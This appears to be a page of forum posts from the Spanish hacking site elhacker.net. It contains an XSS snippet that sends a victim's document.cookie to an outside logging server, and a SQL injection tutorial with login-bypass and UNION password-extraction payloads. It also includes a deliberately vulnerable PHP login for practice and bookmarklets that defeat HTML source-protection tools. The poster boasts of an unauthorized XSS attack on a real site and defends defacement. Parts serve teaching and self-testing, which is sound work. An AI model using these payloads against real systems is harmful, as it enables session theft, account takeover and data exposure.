elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 ... 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 [179] 180 181
1781  Informática / Tutoriales - Documentación / Re: Los Poderes Secretos de XSS (Cross Site Scripting) en: 4 Enero 2006, 19:45 pm
Código:
javascript:http://servidor.com/carpeta/fichero.php?variable=document.cookie
enserio viste eso?
eso no va a servir
es algo asi:
Código:
self.location.href="http://servidor.com/carpeta/fichero.php?variable="+document.cookie;
:)

Saludos!!
1782  Informática / Tutoriales - Documentación / Re: Los Poderes Secretos de XSS (Cross Site Scripting) en: 4 Enero 2006, 19:23 pm
con un script..

las cookies se pueden acceder desde javascript, con la variable
document.cookie

mira, escribe esto en la barra de direcciones de tu navegador:
javascript:alert(document.cookie);

de hecho hay una manera de sacar el IP y el referrer xD pero eso no sirve denada.. si lo vas a enviar a un log, porque PHP los saca solito

hace poco morris y yo estabamos haciendo un ataque con una vulnerabilidad de XSS, nos banearon pero seguiamos hasta que parchearon el bug :(, aun asi el ataque fue un exito ;) y ahora no puedes entrar a esa pagina desde México xDDD usabamos XMLHTTP o AJAX, y si el usuario usaba IE6 podiamos sacar su password jaja, era todo un desm*dr3 xD

Saludos!!
1783  Informática / Tutoriales - Documentación / Re: Los Poderes Secretos de XSS (Cross Site Scripting) en: 31 Diciembre 2005, 05:35 am
Hola como utilizaria el log.php para guardar una cookie? :huh:

por que solo abriendolo ej. www.site.com/log.php solo te guarda esto
Código:
USUARIO Y PASSWORD:
Cookie:
Pagina:
IP: XXX.XXX.XX.XXX
Fecha y Hora: 31 December, 2005, 3:15 am
Como seria la url para que se guarde la cookie?
no es algo asi de "www.site.com/log.php?variablenosecual=document.cookie no se que mas"

Alguien me explica?

Por favor.
Saludos ;D ;D ;D

sitio.com/log.php?c=cookie
sitio.com/log.php?id=basicauth

Saludos!!
1784  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Humor Amarillo (Actualizado 7-01-05) en: 29 Diciembre 2005, 10:43 am
:P que risa xDDD
Citar
A ver listo PHP -> Personal Home Page?? tu eres un poco lento PHP es un acrónimo de Hypertext Pre-Processor, si tuvieras una mínima idea de Internet lo sabrías...

ese me encanta xDD

yo solo tengo uno digno de ser colocado.
Citar
Oye colega, solo te aviso que han hackeado tu mail de gmail en elhacker.net/gmailbug/ a cambio puedes hackearme 2 correos de messenger que tengo de mi escuela?
Ves que yo te hice el paro con tu correo de Gmail, y no te cobre nada
Espero tu respuesta, o te haceo tu gmail otravez

:s jaja tengo ganas de poner quien me lo mando :P algunos lo conoceran jajaja

Saludos!!
1785  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Sobre algunos post un tanto "no-eticos" en: 27 Diciembre 2005, 10:23 am
Apenas vi un documental en la tele, donde un experto en seguridad trata de robarse un cuadro de una casa, la primera vez lo logra y la segunda ya no, porque trae mucha seguridad.

me pregunto yo.. es etico ese documental?
si si es ético, y no discutas

ahora cambia casa, por servidor, y cuadro por web.. y voila.

solo estoy en contra de defaces de bugs conocidos, osea sale bug en phpNuke y mañana todas las webs con phpNuke ya no sirven, solo "tienes" derecho a explotarlos si los descubres para mejorar la seguridad, y sin fines directos de dañar (claro que si), ¿PorQue? porque asi solo gente con conocimeintos lo hace, y no cualquier lam.. aparte de que evitas que en un futuro esa página sufra daños mayores.

En fin, si lo ves de cierta forma, haces un deface para que se sepa que se puede, y asi evitar que alguien en busca de otras cosas, pueda afectar, aun mas que un deface.

Cuidense mucho y Felices Fiestas!!
1786  Informática / Tutoriales - Documentación / Re: Tutorial de Inyección SQL en: 24 Diciembre 2005, 01:44 am
Si marcela, es para que practiques una inyección SQL..
1787  Informática / Tutoriales - Documentación / Re: Tutorial de Inyección SQL en: 23 Diciembre 2005, 05:47 am
Que raro que ustedes no puedan descargarlo..
Citar
hackme.zip (0.76 KB - descargado 20 veces.)
en fin..
Código:
<?php
// Llena estos campos de acuerdo a tu configuración

$dbuser="";
$dbpass="";
$dbhost="";
$dbdata="";

$pass=$_POST['pass'];
$login=$_POST['login'];
// ESTO ES PARA DESACTIVAR EL EFECTO DE LAS MAGIC QUOTES
$login = str_replace ( '\\\'', '\'', $login );
$pass = str_replace ( '\\\'', '\'', $pass );
// CONFIGURAR SEGUN TU BASE DE DATOS
$co = mysql_connect($dbhost, $dbuser, $dbpass);
// CONFIGURAR SEGUN TU TABLA
mysql_select_db($dbdata,$co);
if ($pass=='')
{
echo '<body>
<form action=login.php method=post>
<p align="center"><b>Login:</b><input type=text name=login value="ADMIN">&nbsp;
<p align="center"><b>Password del admin:</b><input type=text name=pass>&nbsp;
</p>
<p align="center">
<input type=submit value="Entrar"></p>
</form>
</body>';
}else{
// CAMBIAR EL NOMBRE DE LA TABLA
  $entrada = mysql_query("SELECT usuario FROM tabla Where usuario='$login' and password='$pass'",$co) or die(mysql_error());
  if(mysql_num_rows($entrada)=='0')
  {
echo 'Error en el login, el password '.$pass.' no corresponde a '.$login;
  }else{

echo 'Usted se nos logeo con éxito <br> Bienvenido';
}

}
mysql_close($co);
 ?>

marcela, el código lo colocas en un <input> o en la dirección de internet "?id=".. cualquier campo que entre en la petición SQL.
un lugar comun es un contador de visitas.. ponen refid=51124 donde 51124 es el id de la persona a la que le van a pagar por ese click.. y muchas veces no tienen ls magic activadas.. o no ponen comillas asi que hace nuestro trabajo aun mas sencillo.
1788  Programación / Desarrollo Web / Mostrar codigo fuente escondido por HTML Protector, HTML Guardian, Altrise, etc. en: 11 Diciembre 2005, 06:41 am
Solo por ayudar.. una manera mas sencilla de tirar el altrise HTMLock, HTML Protector, AEVITA Strong - Advanced HTML Encrypt ,HTML Guardian, LastBit WebPassword 6.092, Sare2S Webpage Protector, codificacion escape, o url encode (WebMasterScene HTML Protect), y el srcencode de microsoft, y muchos mas sistemas o programas que intentan esconder el codigo fuente.

colocar esto en la barra de direcciones, para ver el codigo fuente escondido  (htmlocksrc, HTML protector, etc..)
Código:
javascript:'<xmp>'+document.body.innerHTML

y para codificacion con password SOLO EN EL ALTRISE, colocar esto en la barra de direcciones
Código:
javascript:document.write(document.documentElement.innerHTML.split("if(er==1)alert(emsg);return%20false;").join(""));document.forms[0].pwd.value="<HTML><TITLE>";document.forms[0].submit.click();document.forms[0].submit.click();
Y oprimir el boton de show!!

Para probar dar en los demos de..
http://www.atrise.com/htmlock/
http://www.protware.com/demo_e.htm
http://www.aevita.com/web/lock/samples.htm
http://www.share2s.com/web-encrypt.html
http://www.antssoft.com/htmlprotector/protected_sample.htm
http://lastbit.com/webpsw/sample3.htm

Decidi hacer esto, porque me encontre con una pagina con la fuente "Escondida".. asi que como no me gusta le gente envidiosa, y en busca de que internet sea un lugar donde circule la informacion libre.. cree este code.

Y lo peor esque aparte hacen que la gente compre sus productos, cuando asi de facil los tiras, por el caño.. no no que fraude.

la sección de codificacion con password de Altrise esta basado en el texto desarrollado por TULKAS, pero en su metodo, debes descargar la pagina, en este, solo dar enter ;)


Saludos!!


** EDITADO

Uno mas a la lista:
HTMLGuardian

Otro:
Aevita Advanced Password Encrypt

Otro:
Sare2S Webpage Protector

1789  Informática / Tutoriales - Documentación / Re: Tutorial de Inyección SQL en: 10 Diciembre 2005, 04:42 am
Bibliografia y links de interes:
http://acidbits.blogspot.com/
http://mx2.php.net/mysql
http://www.kriptopolis.com/more.php?id=P17_0_1_0 (OFF)
http://www.milw0rm.com/papers/16
1790  Informática / Tutoriales - Documentación / Tutorial de Inyección SQL (SQL Injection) en: 10 Diciembre 2005, 04:34 am
Tutorial de Inyección SQL. (SQL Injection)
Por SirDarckCat

La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.



ATENCIÓN

Para poder explotar con exito una falla de inyección SQL es necesario que sepan con anterioridad el lenguaje.

información sobre su implementación en PHP se puede encontrar en
http://php.net/mysql
http://dev.mysql.com/



Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas.

Ejemplo 1
Código:
$us=$_POST['usuario'];
$pass=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";
-- código largo cortado --
Código:
if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}

Este es el tipico sistema de verificacion de contraseñas..
utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), asi que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false :P.

como podemos hacer que no devuelva false??
  • Con el password correcto
  • Haciendo trampa

Logicamente, no usaremos la primera opción xD

Haciendo trampa.. se haria algo asi:
esta es la petición que solo nos deja pasar si sabesmos el pass..

SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'

ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario Pegaso, y de password pjps.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibira sera:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'

y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false :(

Ahora, con un poco de creatividad:
de usuario:    Pegaso
de password: ' OR ''='

la sentencia SQL recibira:
 
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''

nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso.

Otros posibles valores que devuelven true son:
  • usuario: Pegaso AND /*   password: */ ''='
  • usuario: ' OR 1=1 //

Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta cifrado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo

Ejemplo 2
Código:
$us=$_POST[‘usuario’];
$pas=$_POST[‘pass’];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";
-- código largo cortado --
Código:
$resp = mysql_query($sql) or die(mysql_error());
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password $resp es incorrecto";
}
}


Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable?
SI, ¿porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada.

Ahora, queremos sacar el password.. pero.. ¿como?

Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.
  • Necesitas meter la misma cantidad de valores que tiene la tabla.
  • Tener un informe de los errores que provocaremos en la instrucción

Bien ahora empezemos.
la instrucción a modificar es la siguiente:

SELECT password FROM usuarios WHERE user = '$us'

como ejemplo, si colocalmos de usuario: zanahoria
la instrucción que llega seria:

SELECT password FROM usuarios WHERE user = 'zanahoria'

Otra vez necesitamos creatividad :D
regresemos al UNION.

UNION necesita que el numero de columnas sea igual, sino sacara un error.

y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.

el UNION se usa de esta forma:

usuario: ' AND 0 UNION SELECT 1 AND 'l'='
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

para lo cual SQL nos respondera:
Citar
The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)

Quedaria algo asi:

' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria

la sentencia seria esta:

SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria'

que nos da como error:
Citar
Syntax error converting the varchar value 'naranja' to a column of data type int.

donde el password es naranja   8) 8)


Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).

el siguiente es un ejemplo, con la misma sentencia
usuario:
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='


y nos regresa:
Citar
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:

' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='

y eso nos regresa:

Citar
root@localhost

esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.

Para ver el metodo completo de acidbits, da click aquí.

Ejercicio :):
¿Que puedes hacer con esta sentencia?
Código:
$sql="UPDATE clicks set dat=now(), aas=aas+1 where  ref='$HTTPREFFERER'";
$resp = mysql_query($sql) or die(mysql_error());

Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica.

Proximamente:
Blind SQL Inyection

Citar
(c) Sirdarckcat 2005
Autorizo la reproducción total o parcial de este documento bajo los terminos de la licencia de documentacion libre de GNU, una copia puede ser encontrada en http://www.gnu.org/
Páginas: 1 ... 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 [179] 180 181
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines